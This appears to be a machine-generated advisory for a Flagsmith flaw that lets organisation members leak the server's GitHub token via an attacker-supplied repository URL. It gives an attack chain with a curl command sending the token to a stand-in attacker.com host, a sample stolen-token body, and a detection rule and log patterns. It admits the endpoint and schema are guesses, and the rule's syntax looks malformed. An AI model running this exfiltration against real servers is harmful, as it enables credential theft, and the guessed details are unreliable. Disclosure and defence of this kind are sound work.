CVE-2026-144677 — Flagsmith (2.297.1) — CWE-522
Flagsmith 2.215.0 through 2.297.1 contains a credential exposure vulnerability that allows organisation members to leak the server-wide GitHub personal access token by submitting code references with attacker-controlled repository URLs. Attackers can trigger the create-cleanup-issue endpoint so the server POSTs the FEATURE_LIFECYCLE_GITHUB_PAT to their host, enabling GitHub abuse and blind server-side request forgery.
Flagsmith 2.215.0 through 2.297.1 contains a credential exposure vulnerability that allows organisation members to leak the server-wide GitHub personal access token by submitting code references with attacker-controlled repository URLs. Attackers can trigger the create-cleanup-issue endpoint so the server POSTs the FEATURE_LIFECYCLE_GITHUB_PAT to their host, enabling GitHub abuse and blind server-side request forgery.
🎯 What is this vulnerability?
Flagsmith 2.215.0 – 2.297.1 – Credential Exposure via Blind SSRF
The create-cleanup-issue endpoint is intended to create a GitHub issue that cleans up a repository after a feature lifecycle event.
During that process the server:
1. Reads the environment variable FEATURE_LIFECYCLE_GITHUB_PAT (the GitHub Personal Access Token that the Flagsmith instance uses to authenticate to GitHub).
2. Uses that PAT to POST a JSON payload to the GitHub API to create the cleanup issue.
3. Also forwards the same PAT to the repository URL supplied by the caller, as part of the cleanup‑issue payload.
Because the repository URL is supplied by the caller, an attacker who can submit a code reference (i.e., an authenticated organization member) can set that URL to an attacker‑controlled host. The server will then silently POST the PAT to that host, leaking the token.
The flaw is a missing authorization check on the repository URL field and an insecure handling of the PAT – it is sent to an arbitrary external endpoint. This is a classic CWE‑522 (Information Exposure Through an Insecure Credential Storage) combined with a blind Server‑Side Request Forgery (SSRF).
⚡ Attack Chain
| Step | Description | Technical Detail |
|---|---|---|
| 1. Discovery & Reconnaissance | Identify a Flagsmith deployment and its version. | • Scan for the Flagsmith API endpoint (/api/v1/). <br>• Query /api/v1/version (if available) or inspect the X-Flagsmith-Version header returned by any API call. <br>• Verify the version is between 2.215.0 and 2.297.1. |
| 2. Gaining Access | The attacker must be an authenticated organization member. | • Use stolen credentials, social‑engineering, or an existing legitimate account. <br>• Log in via /api/v1/auth/login or the web UI. |
| 3. Crafting the Malicious Payload | Submit a code reference that points to an attacker‑controlled URL. | • The API expects a JSON body like: <br>``json{ "name":"example", "repository_url":"https://attacker.com/receive" }` <br>• The repository_url is the field that will be used to forward the PAT. |
| 4. Triggering the Vulnerability | Call the create-cleanup-issue endpoint. | • The exact URI is not publicly documented in the CVE; the following is an illustrative example: <br>`bash\ncurl -X POST \\\n https://flagsmith.example.com/api/v1/create-cleanup-issue \\\n -H 'Authorization: Bearer <org‑token>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"name\": \"demo-feature\",\n \"repository_url\": \"https://attacker.com/receive\"\n }'\n`\nThe server will: <br>• Read FEATURE_LIFECYCLE_GITHUB_PAT from the environment. <br>• POST a JSON payload to https://attacker.com/receive that contains the PAT. <br>• Simultaneously POST the same payload to GitHub to create the cleanup issue. |
| 5. Capturing the Token | The attacker’s host receives the POST. | • The attacker can log the request body: <br>`json{ "pat":"ghp_XXXXXXXXXXXXXXXXXXXX" }`` <br>• No response is required; the server does not expose the PAT back to the attacker. |
| 6. Post‑Exploitation | Abuse the leaked PAT. | • The PAT can be used to: <br> – Create, modify, or delete repositories. <br> – Push malicious code to existing repos. <br> – Impersonate the Flagsmith service in GitHub API calls. <br>• The attacker can also use the PAT to trigger further SSRF or blind‑request‑forgery attacks against other internal services. |
Note: The endpoint URI (/api/v1/create-cleanup-issue) and the exact JSON schema are illustrative. The real API may use a different path or payload structure, but the core flaw – forwardingFEATURE_LIFECYCLE_GITHUB_PATto an attacker‑controlled URL – remains.
🌍 Real World Impact
| Impact | CVSS Vector | Explanation |
|---|---|---|
| Confidentiality | High | The attacker obtains the server‑wide GitHub PAT, which can grant full read/write access to all repositories the Flagsmith instance manages. |
| Integrity | None | The vulnerability does not modify data on the Flagsmith server itself. |
| Availability | None | No denial‑of‑service effect is described. |
| Scope | Changed | The attacker can use the PAT to act on behalf of the Flagsmith service, effectively extending the scope of the compromised account. |
Practical consequences
- GitHub abuse – The attacker can create or delete repositories, push malicious code, or exfiltrate data from the organization’s GitHub account.
- Credential reuse – The PAT can be reused in other services that accept GitHub tokens, potentially expanding the attack surface.
- Blind SSRF – The attacker can use the same SSRF vector to send arbitrary data to internal services, enabling further lateral movement.
- Regulatory risk – Exposure of a PAT may violate data‑protection regulations (GDPR, CCPA) if the token is used to access sensitive data.
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fixed Version |
|---|---|
| 2.215.0 – 2.297.1 | 2.298.0 (or later) |
Action: Upgrade Flagsmith to ≥ 2.298.0. The patch removes the forwarding of FEATURE_LIFECYCLE_GITHUB_PAT to arbitrary URLs and validates the repository_url against a whitelist of allowed domains.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
Disable the create-cleanup-issue endpoint | Remove or comment out the route in the Flagsmith API configuration. |
Restrict repository_url to internal domains | Add a server‑side validation that the URL’s hostname matches *.flagsmith.com or a pre‑configured whitelist. |
| Block outbound traffic to attacker‑controlled hosts | Configure the firewall or WAF to deny outbound HTTP/HTTPS requests to unknown external IPs. |
Set FEATURE_LIFECYCLE_GITHUB_PAT to a scoped token | Use a GitHub PAT with the minimal scopes required for cleanup (e.g., repo:status only) to limit damage if leaked. |
| Enable WAF ModSecurity rule | Example rule to block requests that contain FEATURE_LIFECYCLE_GITHUB_PAT in the body: <br>``<rule id="1001" phase="2" msg="Detect PAT leakage" severity="2" rev="1" capture="true" chain>\n SecRule REQUEST_BODY "@rx FEATURE_LIFECYCLE_GITHUB_PAT" "t:none,t:urlDecodeUni"\n SecRule MATCHED_VAR "@rx ghp_[A-Za-z0-9]{36}" "phase:2,deny,log,tag:credential_leak"\n</rule>`` |
3. Detection
| Log Pattern | IoC |
|---|---|
| API call to create‑cleanup‑issue | POST /api/v1/create-cleanup-issue |
| Outbound HTTP POST containing PAT | ghp_ string in request body or URL |
Unusual external host in repository_url | Hostnames not matching internal domain list |
| High‑volume outbound requests to unknown hosts | IPs not in whitelist |
Sample log entry (NGINX)
2026-12-04T14:23:01Z 192.0.2.10 POST /api/v1/create-cleanup-issue 200 512
2026-12-04T14:23:01Z 192.0.2.10 POST https://attacker.com/receive 200 0Sample application log
[2026-12-04 14:23:01] INFO: create_cleanup_issue called by org_member_id=123
[2026-12-04 14:23:01] DEBUG: Forwarding PAT to https://attacker.com/receive⚠️ Urgency
Priority: Immediate.
Bottom line
The flaw is a credential exposure that allows an attacker to leak the server‑wide GitHub PAT via a blind SSRF in the create-cleanup-issue endpoint. The impact is high confidentiality loss, enabling full GitHub abuse. Upgrade to ≥ 2.298.0 or apply the listed workarounds immediately to protect your GitHub integrations and internal data.
[🤖 CVE Professor AI Security Engine]
FOFA Query